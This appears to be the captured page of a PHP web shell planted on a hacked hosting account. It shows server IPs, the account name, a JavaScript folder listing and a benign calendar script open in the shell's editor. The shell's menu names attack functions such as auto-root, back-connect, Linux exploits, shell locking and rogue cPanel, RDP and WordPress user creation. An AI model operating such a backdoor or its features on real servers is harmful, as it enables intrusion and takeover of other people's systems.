Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
LiteSpeed
: 162.0.232.56 | : 216.73.216.17
Cant Read [ /etc/named.conf ]
8.1.33
syrihapj
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
syrihapj /
public_html /
resources /
js /
pages /
[ HOME SHELL ]
Name
Size
Permission
Action
alerts.init.js
509
B
-rw-r--r--
apexcharts.init.js
6.84
KB
-rw-r--r--
auth-2-carousel.init.js
83
B
-rw-r--r--
bootstrap-toastr.init.js
221
B
-rw-r--r--
calendar.init.js
16.15
KB
-rw-r--r--
calendars-full.init.js
6.82
KB
-rw-r--r--
calendars.js
2.97
KB
-rw-r--r--
chartjs.init.js
3.47
KB
-rw-r--r--
coming-soon.init.js
350
B
-rw-r--r--
crypto-dashboard.init.js
8.61
KB
-rw-r--r--
crypto-exchange.init.js
3.69
KB
-rw-r--r--
crypto-kyc-app.init.js
122
B
-rw-r--r--
crypto-orders.init.js
197
B
-rw-r--r--
crypto-wallet.init.js
754
B
-rw-r--r--
dashboard-blog.init.js
682
B
-rw-r--r--
dashboard.init.js
1.22
KB
-rw-r--r--
datatables.init.js
299
B
-rw-r--r--
echarts.init.js
8.08
KB
-rw-r--r--
ecommerce-cart.init.js
65
B
-rw-r--r--
ecommerce-select2.init.js
24
B
-rw-r--r--
email-editor.init.js
966
B
-rw-r--r--
file-manager.init.js
446
B
-rw-r--r--
flot.init.js
3.32
KB
-rw-r--r--
fontawesome.init.js
559.92
KB
-rw-r--r--
form-advanced.init.js
5.95
KB
-rw-r--r--
form-editor.init.js
949
B
-rw-r--r--
form-mask.init.js
60
B
-rw-r--r--
form-repeater.int.js
792
B
-rw-r--r--
form-validation.init.js
385
B
-rw-r--r--
form-wizard.init.js
220
B
-rw-r--r--
form-xeditable.init.js
1.17
KB
-rw-r--r--
gmaps.init.js
987
B
-rw-r--r--
ico-landing.init.js
854
B
-rw-r--r--
jquery-knob.init.js
33
B
-rw-r--r--
leaflet-map.init.js
4.72
KB
-rw-r--r--
leaflet-us-states.js
86.31
KB
-rw-r--r--
lightbox.init.js
1.73
KB
-rw-r--r--
materialdesign.init.js
307.09
KB
-rw-r--r--
modal.init.js
311
B
-rw-r--r--
product-filter-range.init.js
143
B
-rw-r--r--
profile.init.js
531
B
-rw-r--r--
project-overview.init.js
479
B
-rw-r--r--
range-sliders.init.js
1.32
KB
-rw-r--r--
rating-init.js
713
B
-rw-r--r--
saas-dashboard.init.js
1.62
KB
-rw-r--r--
schedules.js
2.69
KB
-rw-r--r--
session-timeout.init.js
300
B
-rw-r--r--
sparklines.init.js
2.21
KB
-rw-r--r--
sweet-alerts.init.js
4.37
KB
-rw-r--r--
table-editable.int.js
506
B
-rw-r--r--
table-responsive.init.js
169
B
-rw-r--r--
task-create.init.js
1.4
KB
-rw-r--r--
task-form.init.js
6.52
KB
-rw-r--r--
task-kanban.init.js
136
B
-rw-r--r--
tasklist.init.js
665
B
-rw-r--r--
timeline.init.js
209
B
-rw-r--r--
toastr.init.js
3.31
KB
-rw-r--r--
tui-charts.init.js
28.52
KB
-rw-r--r--
two-step-verification.init.js
274
B
-rw-r--r--
validation.init.js
320
B
-rw-r--r--
vector-maps.init.js
2.15
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : calendar.init.js
/* Template Name: Skote - Admin & Dashboard Template Author: Sevencloud Website: https://Sevencloud.com/ Contact: Sevencloud@gmail.com File: Calendar init js */ 'use strict'; /* eslint-disable require-jsdoc */ /* eslint-env jquery */ /* global moment, tui, chance */ /* global findCalendar, CalendarList, ScheduleList, generateSchedule */ (function(window, Calendar) { var cal, resizeThrottled; var useCreationPopup = true; var useDetailPopup = true; var datePicker, selectedCalendar; cal = new Calendar('#calendar', { defaultView: 'month', useCreationPopup: useCreationPopup, useDetailPopup: useDetailPopup, calendars: CalendarList, template: { milestone: function(model) { return '<span class="calendar-font-icon ic-milestone-b"></span> <span style="background-color: ' + model.bgColor + '">' + model.title + '</span>'; }, allday: function(schedule) { return getTimeTemplate(schedule, true); }, time: function(schedule) { return getTimeTemplate(schedule, false); } } }); // event handlers cal.on({ 'clickMore': function(e) { console.log('clickMore', e); }, 'clickSchedule': function(e) { console.log('clickSchedule', e); }, 'clickDayname': function(date) { console.log('clickDayname', date); }, 'beforeCreateSchedule': function(e) { console.log('beforeCreateSchedule', e); saveNewSchedule(e); }, 'beforeUpdateSchedule': function(e) { var schedule = e.schedule; var changes = e.changes; console.log('beforeUpdateSchedule', e); cal.updateSchedule(schedule.id, schedule.calendarId, changes); refreshScheduleVisibility(); }, 'beforeDeleteSchedule': function(e) { console.log('beforeDeleteSchedule', e); cal.deleteSchedule(e.schedule.id, e.schedule.calendarId); }, 'afterRenderSchedule': function(e) { var schedule = e.schedule; // var element = cal.getElement(schedule.id, schedule.calendarId); // console.log('afterRenderSchedule', element); }, 'clickTimezonesCollapseBtn': function(timezonesCollapsed) { console.log('timezonesCollapsed', timezonesCollapsed); if (timezonesCollapsed) { cal.setTheme({ 'week.daygridLeft.width': '77px', 'week.timegridLeft.width': '77px' }); } else { cal.setTheme({ 'week.daygridLeft.width': '60px', 'week.timegridLeft.width': '60px' }); } return true; } }); /** * Get time template for time and all-day * @param {Schedule} schedule - schedule * @param {boolean} isAllDay - isAllDay or hasMultiDates * @returns {string} */ function getTimeTemplate(schedule, isAllDay) { var html = []; var start = moment(schedule.start.toUTCString()); if (!isAllDay) { html.push('<strong>' + start.format('HH:mm') + '</strong> '); } if (schedule.isPrivate) { html.push('<span class="calendar-font-icon ic-lock-b"></span>'); html.push(' Private'); } else { if (schedule.isReadOnly) { html.push('<span class="calendar-font-icon ic-readonly-b"></span>'); } else if (schedule.recurrenceRule) { html.push('<span class="calendar-font-icon ic-repeat-b"></span>'); } else if (schedule.attendees.length) { html.push('<span class="calendar-font-icon ic-user-b"></span>'); } else if (schedule.location) { html.push('<span class="calendar-font-icon ic-location-b"></span>'); } html.push(' ' + schedule.title); } return html.join(''); } /** * A listener for click the menu * @param {Event} e - click event */ function onClickMenu(e) { var target = $(e.target).closest('a[role="menuitem"]')[0]; var action = getDataAction(target); var options = cal.getOptions(); var viewName = ''; console.log(target); console.log(action); switch (action) { case 'toggle-daily': viewName = 'day'; break; case 'toggle-weekly': viewName = 'week'; break; case 'toggle-monthly': options.month.visibleWeeksCount = 0; viewName = 'month'; break; case 'toggle-weeks2': options.month.visibleWeeksCount = 2; viewName = 'month'; break; case 'toggle-weeks3': options.month.visibleWeeksCount = 3; viewName = 'month'; break; case 'toggle-narrow-weekend': options.month.narrowWeekend = !options.month.narrowWeekend; options.week.narrowWeekend = !options.week.narrowWeekend; viewName = cal.getViewName(); target.querySelector('input').checked = options.month.narrowWeekend; break; case 'toggle-start-day-1': options.month.startDayOfWeek = options.month.startDayOfWeek ? 0 : 1; options.week.startDayOfWeek = options.week.startDayOfWeek ? 0 : 1; viewName = cal.getViewName(); target.querySelector('input').checked = options.month.startDayOfWeek; break; case 'toggle-workweek': options.month.workweek = !options.month.workweek; options.week.workweek = !options.week.workweek; viewName = cal.getViewName(); target.querySelector('input').checked = !options.month.workweek; break; default: break; } cal.setOptions(options, true); cal.changeView(viewName, true); setDropdownCalendarType(); setRenderRangeText(); setSchedules(); } function onClickNavi(e) { var action = getDataAction(e.target); switch (action) { case 'move-prev': cal.prev(); break; case 'move-next': cal.next(); break; case 'move-today': cal.today(); break; default: return; } setRenderRangeText(); setSchedules(); } function onNewSchedule() { var title = $('#new-schedule-title').val(); var location = $('#new-schedule-location').val(); var isAllDay = document.getElementById('new-schedule-allday').checked; var start = datePicker.getStartDate(); var end = datePicker.getEndDate(); var calendar = selectedCalendar ? selectedCalendar : CalendarList[0]; if (!title) { return; } cal.createSchedules([{ id: String(chance.guid()), calendarId: calendar.id, title: title, isAllDay: isAllDay, start: start, end: end, category: isAllDay ? 'allday' : 'time', dueDateClass: '', color: calendar.color, bgColor: calendar.bgColor, dragBgColor: calendar.bgColor, borderColor: calendar.borderColor, raw: { location: location }, state: 'Busy' }]); $('#modal-new-schedule').modal('hide'); } function onChangeNewScheduleCalendar(e) { var target = $(e.target).closest('a[role="menuitem"]')[0]; var calendarId = getDataAction(target); changeNewScheduleCalendar(calendarId); } function changeNewScheduleCalendar(calendarId) { var calendarNameElement = document.getElementById('calendarName'); var calendar = findCalendar(calendarId); var html = []; html.push('<span class="calendar-bar" style="background-color: ' + calendar.bgColor + '; border-color:' + calendar.borderColor + ';"></span>'); html.push('<span class="calendar-name">' + calendar.name + '</span>'); calendarNameElement.innerHTML = html.join(''); selectedCalendar = calendar; } function createNewSchedule(event) { var start = event.start ? new Date(event.start.getTime()) : new Date(); var end = event.end ? new Date(event.end.getTime()) : moment().add(1, 'hours').toDate(); if (useCreationPopup) { cal.openCreationPopup({ start: start, end: end }); } } function saveNewSchedule(scheduleData) { var calendar = scheduleData.calendar || findCalendar(scheduleData.calendarId); var schedule = { id: String(chance.guid()), title: scheduleData.title, isAllDay: scheduleData.isAllDay, start: scheduleData.start, end: scheduleData.end, category: scheduleData.isAllDay ? 'allday' : 'time', dueDateClass: '', color: calendar.color, bgColor: calendar.bgColor, dragBgColor: calendar.bgColor, borderColor: calendar.borderColor, location: scheduleData.location, raw: { class: scheduleData.raw['class'] }, state: scheduleData.state }; if (calendar) { schedule.calendarId = calendar.id; schedule.color = calendar.color; schedule.bgColor = calendar.bgColor; schedule.borderColor = calendar.borderColor; } cal.createSchedules([schedule]); refreshScheduleVisibility(); } function onChangeCalendars(e) { var calendarId = e.target.value; var checked = e.target.checked; var viewAll = document.querySelector('.lnb-calendars-item input'); var calendarElements = Array.prototype.slice.call(document.querySelectorAll('#calendarList input')); var allCheckedCalendars = true; if (calendarId === 'all') { allCheckedCalendars = checked; calendarElements.forEach(function(input) { var span = input.parentNode; input.checked = checked; span.style.backgroundColor = checked ? span.style.borderColor : 'transparent'; }); CalendarList.forEach(function(calendar) { calendar.checked = checked; }); } else { findCalendar(calendarId).checked = checked; allCheckedCalendars = calendarElements.every(function(input) { return input.checked; }); if (allCheckedCalendars) { viewAll.checked = true; } else { viewAll.checked = false; } } refreshScheduleVisibility(); } function refreshScheduleVisibility() { var calendarElements = Array.prototype.slice.call(document.querySelectorAll('#calendarList input')); CalendarList.forEach(function(calendar) { cal.toggleSchedules(calendar.id, !calendar.checked, false); }); cal.render(true); calendarElements.forEach(function(input) { var span = input.nextElementSibling; span.style.backgroundColor = input.checked ? span.style.borderColor : 'transparent'; }); } function setDropdownCalendarType() { var calendarTypeName = document.getElementById('calendarTypeName'); var calendarTypeIcon = document.getElementById('calendarTypeIcon'); var options = cal.getOptions(); var type = cal.getViewName(); var iconClassName; if (type === 'day') { type = 'Daily'; iconClassName = 'calendar-icon ic_view_day'; } else if (type === 'week') { type = 'Weekly'; iconClassName = 'calendar-icon ic_view_week'; } else if (options.month.visibleWeeksCount === 2) { type = '2 weeks'; iconClassName = 'calendar-icon ic_view_week'; } else if (options.month.visibleWeeksCount === 3) { type = '3 weeks'; iconClassName = 'calendar-icon ic_view_week'; } else { type = 'Monthly'; iconClassName = 'calendar-icon ic_view_month'; } calendarTypeName.innerHTML = type; calendarTypeIcon.className = iconClassName; } function setRenderRangeText() { var renderRange = document.getElementById('renderRange'); var options = cal.getOptions(); var viewName = cal.getViewName(); var html = []; if (viewName === 'day') { html.push(moment(cal.getDate().getTime()).format('YYYY.MM.DD')); } else if (viewName === 'month' && (!options.month.visibleWeeksCount || options.month.visibleWeeksCount > 4)) { html.push(moment(cal.getDate().getTime()).format('YYYY.MM')); } else { html.push(moment(cal.getDateRangeStart().getTime()).format('YYYY.MM.DD')); html.push(' ~ '); html.push(moment(cal.getDateRangeEnd().getTime()).format(' MM.DD')); } renderRange.innerHTML = html.join(''); } function setSchedules() { cal.clear(); generateSchedule(cal.getViewName(), cal.getDateRangeStart(), cal.getDateRangeEnd()); cal.createSchedules(ScheduleList); // var schedules = [ // {id: 489273, title: 'Workout for 2019-04-05', isAllDay: false, start: '2018-02-01T11:30:00+09:00', end: '2018-02-01T12:00:00+09:00', goingDuration: 30, comingDuration: 30, color: '#ffffff', isVisible: true, bgColor: '#69BB2D', dragBgColor: '#69BB2D', borderColor: '#69BB2D', calendarId: 'logged-workout', category: 'time', dueDateClass: '', customStyle: 'cursor: default;', isPending: false, isFocused: false, isReadOnly: true, isPrivate: false, location: '', attendees: '', recurrenceRule: '', state: ''}, // // {id: 18073, title: 'completed with blocks', isAllDay: false, start: '2018-11-17T09:00:00+09:00', end: '2018-11-17T10:00:00+09:00', color: '#ffffff', isVisible: true, bgColor: '#54B8CC', dragBgColor: '#54B8CC', borderColor: '#54B8CC', calendarId: 'workout', category: 'time', dueDateClass: '', customStyle: '', isPending: false, isFocused: false, isReadOnly: false, isPrivate: false, location: '', attendees: '', recurrenceRule: '', state: ''} // ]; // cal.createSchedules(schedules); refreshScheduleVisibility(); } function setEventListener() { $('#menu-navi').on('click', onClickNavi); $('.dropdown-menu a[role="menuitem"]').on('click', onClickMenu); $('#lnb-calendars').on('change', onChangeCalendars); $('#btn-save-schedule').on('click', onNewSchedule); $('#btn-new-schedule').on('click', createNewSchedule); $('#dropdownMenu-calendars-list').on('click', onChangeNewScheduleCalendar); window.addEventListener('resize', resizeThrottled); } function getDataAction(target) { return target.dataset ? target.dataset.action : target.getAttribute('data-action'); } resizeThrottled = tui.util.throttle(function() { cal.render(); }, 50); window.cal = cal; setDropdownCalendarType(); setRenderRangeText(); setSchedules(); setEventListener(); })(window, tui.Calendar); // set calendars (function() { var calendarList = document.getElementById('calendarList'); var html = []; CalendarList.forEach(function(calendar) { html.push('<div class="lnb-calendars-item"><label>' + '<input type="checkbox" class="tui-full-calendar-checkbox-round" value="' + calendar.id + '" checked>' + '<span style="border-color: ' + calendar.borderColor + '; background-color: ' + calendar.borderColor + ';"></span>' + '<span>' + calendar.name + '</span>' + '</label></div>' ); }); calendarList.innerHTML = html.join('\n'); })();
Close